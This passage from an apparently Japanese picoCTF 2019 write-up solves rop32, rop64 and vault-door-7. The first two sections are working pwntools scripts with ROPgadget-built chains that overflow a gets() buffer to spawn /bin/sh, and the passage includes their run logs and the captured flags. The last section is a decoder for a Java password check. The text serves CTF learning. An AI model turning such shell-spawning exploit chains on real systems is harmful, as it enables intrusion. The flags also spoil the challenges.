e = ELF('./vuln')

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print 'name: '
pico_name = raw_input('>> ').strip()
print 'password: '
pico_pass = raw_input('>> ').strip()
pico_ssh = ssh(host='2019shell1.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/rop32_0_b4142d4df31cb73e170c77dac234a79a')

# ここからROPgadgetの出力をそのまま + paddingを指定
# Padding goes here
p = 'A' * (0x18 + 0x04) # 28

p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '/bin'
p += pack('<I', 0x080da060) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da064) # @ .data + 4
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '//sh'
p += pack('<I', 0x080da064) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x080da060) # padding without overwrite ebx
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x08049563) # int 0x80

process = pico_ssh.process('./vuln')
process.sendline(p)
process.interactive()

実行結果

$ python solve.py 
[*] '/picoCTF_2019/Binary/400_rop32/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
(略)
[*] kusuwada@2019shell1.picoctf.com:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[*] Working directory: '/problems/rop32_0_b4142d4df31cb73e170c77dac234a79a'
[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 789851
[*] Switching to interactive mode
Can you ROP your way out of this one?
$ $ ls
flag.txt  vuln    vuln.c
$ $ cat flag.txt
picoCTF{rOp_t0_b1n_sH_01a585a7}$ $  

なるほどねー!

[Binary] rop64 (400pt)

Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64_6_7b4c515f14d2b9bf173a78e711d404a7 on the shell server. Source.

rop32と同様、実行ファイルvulnと、ソースコードvuln.cが配布されます。rop32の64bitアーキバージョンの予感です。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

ソースコードはrop32とほぼ一緒。実行ファイルの方は

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

予想通り、64bit arch のようです。
rop32と同じくgets()を使っているので、改行を除いて

$ ROPgadget --binary ./vuln --ropchain --badbytes 0a

で ropchain を組んでもらい、それをpythonコードに貼り付けます。

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
# execve generated by ROPgadget

from pwn import *
from struct import pack

e = ELF('./vuln')

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print 'name: '
pico_name = raw_input('>> ').strip()
print 'password: '
pico_pass = raw_input('>> ').strip()
pico_ssh = ssh(host='2019shell1.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/rop64_6_7b4c515f14d2b9bf173a78e711d404a7')

# ここからROPgadgetの出力をそのまま + paddingを指定
# Padding goes here
p = 'A' * (16+8) # 24

p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004156f4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax 
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax 
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x00000000004499b5) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047b6ff) # syscall

process = pico_ssh.process('./vuln')
process.sendline(p)
process.interactive()

実行結果

$ python solve.py 
[*] '/picoCTF_2019/Binary/400_rop64/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
(中略)
[*] kusuwada@2019shell1.picoctf.com:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[*] Working directory: '/problems/rop64_6_7b4c515f14d2b9bf173a78e711d404a7'
[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 817565
[*] Switching to interactive mode
Can you ROP your way out of this?
$ $ ls
flag.txt  vuln    vuln.c
$ $ cat flag.txt
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_55cf1f7b}$ $  

[Reversing] vault-door-7 (400pt)

This vault uses bit shifts to convert a password string into an array of integers. Hurry, agent, we are running out of time to stop Dr. Evil's nefarious plans! The source code for this vault is here: VaultDoor7.java

まだ続きます、このシリーズ!またjavaファイルが配布されます。

import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;

class VaultDoor7 {
    public static void main(String args[]) {
        VaultDoor7 vaultDoor = new VaultDoor7();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
    String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
    if (vaultDoor.checkPassword(input)) {
        System.out.println("Access granted.");
    } else {
        System.out.println("Access denied!");
        }
    }

    // Each character can be represented as a byte value using its
    // ASCII encoding. Each byte contains 8 bits, and an int contains
    // 32 bits, so we can "pack" 4 bytes into a single int. Here's an
    // example: if the hex string is "01ab", then those can be
    // represented as the bytes {0x30, 0x31, 0x61, 0x62}. When those
    // bytes are represented as binary, they are:
    //
    // 0x30: 00110000
    // 0x31: 00110001
    // 0x61: 01100001
    // 0x62: 01100010
    //
    // If we put those 4 binary numbers end to end, we end up with 32
    // bits that can be interpreted as an int.
    //
    // 00110000001100010110000101100010 -> 808542562
    //
    // Since 4 chars can be represented as 1 int, the 32 character password can
    // be represented as an array of 8 ints.
    //
    // - Minion #7816
    public int[] passwordToIntArray(String hex) {
        int[] x = new int[8];
        byte[] hexBytes = hex.getBytes();
        for (int i=0; i<8; i++) {
            x[i] = hexBytes[i*4]   << 24
                 | hexBytes[i*4+1] << 16
                 | hexBytes[i*4+2] << 8
                 | hexBytes[i*4+3];
        }
        return x;
    }

    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        int[] x = passwordToIntArray(password);
        return x[0] == 1096770097
            && x[1] == 1952395366
            && x[2] == 1600270708
            && x[3] == 1601398833
            && x[4] == 1716808014
            && x[5] == 1734293815
            && x[6] == 1667379558
            && x[7] == 859191138;
    }
}

なんか今までよりは複雑そうな処理です。コメントも長い。
16進数は8桁の2進数で表現できるので、2進に変換したものを4つつなげた数を intarray に突っ込んであるみたいです。
checkPassword関数にあるintArrayを2進数に変換し、8桁ずつ分解して出てきた数の配列をasciiに変換してあげると良さそう。スクリプトは下記。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

intarray = [1096770097,
            1952395366,
            1600270708,
            1601398833,
            1716808014,
            1734293815,
            1667379558,
            859191138]

# change intarray to binary
binarray = []
for i in intarray:
    binstr = str(bin(i))[2:]
    while len(binstr) < 32:
        binstr = '0' + binstr
    binarray.append(binstr)

# binarray to char
flag = ''
for chars in binarray:
    for i in range(4):
        s = chars[i*8: i*8 + 8]
        flag += chr(int(s,2))
print('picoCTF{' + flag + '}')

実行結果

$ python solve.py 
picoCTF{A_b1t_0f_b1t_sh1fTiNg_97cb1f367b}